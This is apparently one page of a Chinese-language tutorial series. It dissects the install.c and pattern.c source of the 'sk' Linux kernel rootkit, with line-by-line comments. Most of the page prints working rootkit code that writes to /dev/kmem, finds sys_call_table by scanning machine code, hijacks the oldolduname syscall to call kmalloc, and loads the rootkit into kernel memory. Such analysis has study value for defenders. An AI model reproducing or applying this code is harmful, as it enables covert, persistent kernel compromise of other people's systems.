|
五、install.c代码完全解析
为了阅读方便,我直接贴出主要代码,并给出中文注释。
install.c /install() 作用:install()函数为kernel.c做初始化整备,并把sk装载到内存中.
以下是代码片段: int install() { int fd; ulong sct; ulong kmalloc; ulong gfp; struct idtr idtr; struct idt idt80; ulong oldsys; ulong mem; ulong size; ulong sctp[2]; ulong old80;
mkdir(HOME, 0644);
/* 打开/dev/kmem */
fd = open(DEFAULT_KMEM, O_RDWR, 0); if (fd < 0) { printf("FUCK: Can't open %s for read/write (%d)\n", DEFAULT_KMEM,-fd); return 1; }
/* 寻找中断描述符表的地址 */
asm ("sidt %0" : "=m" (idtr));
printf("RK_Init: idt=0x%08x, ", (uint) idtr.base);
/* 从kmem中读取int 0x80中断描述符的内容到idt80结构中,注意读出的是描述符的内容 */
if (ERR(rkm(fd, &idt80, sizeof(idt80), idtr.base + 0x80 * sizeof(idt80)))) { printf("FUCK: IDT table read failed (offset 0x%08x)\n", (uint) idtr.base); close(fd); return 1; }
/* 根据idt80计算出其int 0x80服务程序的实际地址,就是system_call的地址 */
old80 = idt80.off1 | (idt80.off2 << 16);
/* 根据system_call的地址,找到sys_call_table的地址 */
sct = get_sct(fd, old80, sctp);
if (!sct) { printf("FUCK: Can't find sys_call_table[]\n"); close(fd); return 1; }
printf("sct[]=0x%08x, ", (uint) sct);
/* 在kmem中寻找kmalloc的地址 ,并把GFP_KERNEL的地址保存 */
kmalloc = (ulong) get_kma(fd, sct & 0xff000000, &gfp, get_kma_hint()); if (!kmalloc) { printf("FUCK: Can't find kmalloc()!\n"); close(fd); return 1; } printf("kmalloc()=0x%08x, gfp=0x%x\n", (uint) kmalloc, (uint) gfp);
/* 把oldolduname系统调用的地址读出,并保存
注意:oldolduname不经常被使用,所以可以用来被替换,你也可以换成其他 不常用的系统调用 */
if (ERR(rkml(fd, &oldsys, sct + OURSYS * 4))) { printf("FUCK: Can't read syscall %d addr\n", OURSYS); close(fd); return 1; }
/* 用kmalloc的地址替换oldolduname的地址 */
wkml(fd, kmalloc, sct + OURSYS * 4);
/* |
计算将要用kmalloc分配的内存大小,注意是在内核区域分配内存大小等于sk自身的长度+256个系统调用的地址+512个pid_struc个结构体的大小。
注意:sk13b将要把原来的sys_call_table的所有内容重新分配到即将开辟的内存中,hook系统时是hook新的sys_call_table数组的,并用新的sys_call_talbe的地址覆盖原来的sys_call_talbe地址
以下是代码片段:
*/
size = (ulong) kernel_end - (ulong) kernel_start + SCT_TABSIZE + PID_TABSIZE;
printf("Z_Init: Allocating kernel-code memory...");
/* |
调用kmalloc在内核区域中分配内存
注意: 刚才已经把oldolduname的地址替换成kmalloc的地址了,只要调用oldolduname就可以调用kmalloc函数了
补充:如何在应用程序中直接调用kmalloc
sk在stuff.h中定义了类似如下的几个宏函数:
以下是代码片段: #define syscall2(__type, __name, __t1, __t2) \ __type __name(__t1 __a1, __t2 __a2) \ { \ ulong __res; \ __asm__ volatile \ ("int $0x80" \ : "=a" (__res) \ : "0" (__NR_##__name) \ rr("b", __a1) \ rr("c", __a2)); \ return (__type) __res; \ }
static inline syscall2(ulong, KMALLOC, ulong, ulong);被展开后就变为:
static inline ulong KMALLOC(ulong __a1,ulong __a2) { ulong __res; __asm__volatile ("int $0x80" : "=a" (__res) " "0"(__NR_KMALLOC) rr("b", __a1) rr("c", __a2));
return (ulong)__res; }
又根据 #define __NR_KMALLOC OURSYS #define OURSYS __NR_oldolduname 在进一步替换为:
static inline ulong KMALLOC(ulong __a1,ulong __a2) { ulong __res; __asm__volatile ("int $0x80" : "=a" (__res) " "0"(__NR_oldolduname) rr("b", __a1) rr("c", __a2));
return (ulong)__res; } |
执行KMALLOC(size,gfp),实际是去执行oldolduname系统调用,但我们知道它的地址已经被kmalloc的地址替换了,所以就去执行kmalloc,到此,我们已经在内核区域中分配了指定大小的空间
以下是代码片段:
*/
mem = KMALLOC(size, gfp); if (!mem) { wkml(fd, oldsys, sct + OURSYS * 4); printf("FUCK: Out of kernel memory!\n"); close(fd); return 1; }
/* 将sk装入刚才分配的内存中 */
wkm(fd, (void *) kernel_start, (ulong) kernel_end - (ulong) kernel_start, mem + SCT_TABSIZE);
/* |
用kernel_init函数的地址替换掉oldolduname系统调用的地址跟KMALLOC同样的道理,调用oldolduname等于调用kernel_init
以下是代码片段:
*/
wkml(fd, mem + SCT_TABSIZE + (ulong) (kernel_init) - (ulong) kernel_start, sct + OURSYS * 4);
/*
|
下面是sk所在内核区域内的内存分配示意图
以下是代码片段:
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------ | 新的sys_call_table的数组 | | | PID_TABSIZE | +------------------------------------------------------------------------------------ | | | | V +--------------------------------------+ 老的sys_call_table[]数组 | | | +--------------------------------------+ ^ | oldolduname */
/*
KINT同KMALLOC一样都是去执行oldolduname,然后就可以执行kernel.c/kernel_init了,是不是很巧妙呢
注意:从这以后就开始转向kernel.c/kernel_init()函数了
*/
KINIT(mem, sct, sctp, oldsys);
printf("Done, %d bytes, base=0x%08x\n", (int) size, (uint) mem); return 0; }
pattern.c/get_sct: |
作用:根据system_call函数地址找到sys_call_table[]数组地址
代码分析:
以下是代码片段: ulong get_sct(int fd, ulong ep, ulong *pos) { #define SCLEN 512 char code[SCLEN]; char *p; ulong r;
/* 从kmem的ep(system_call的地址)偏移位置读取512字节到code缓冲区中
*/
if (rkm(fd, code, sizeof(code), ep) <= 0) return 0;
/* |
在code缓冲区中匹配搜寻\xff\x14\x85
注意:call something<,eax,4)指令的机器码是0xff 0x14 0x85 0xp的地址是call something<,eax,4)机器码的首地址,要得到sys_call_table的地址还得在+3
以下是代码片段: */ p = (char *) memmem(code, SCLEN, "\xff\x14\x85", 3); if (!p) return 0;
/* (p+3) - code 是sys_call_table相对code的偏移量,在+ep,也就是sys_call_table的地址, 与r的值是一样的
*/ pos[0] = ep + ((p + 3) - code);
/* r的地址就是sys_call_table的首地址 */
r = *(ulong *) (p + 3);
/* p还是sys_call_table的地址 */
p = (char *) memmem(p+3, SCLEN - (p-code) - 3, "\xff\x14\x85", 3); if (!p) return 0;
pos[1] = ep + ((p + 3) - code);
return r; }
pattern.c/get_kma():
|
作用:通过模式匹配搜索kmalloc()函数的地址如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:
push GFP_KERNEL push size call kmalloc
上一页 [1] [2] [3] 下一页 |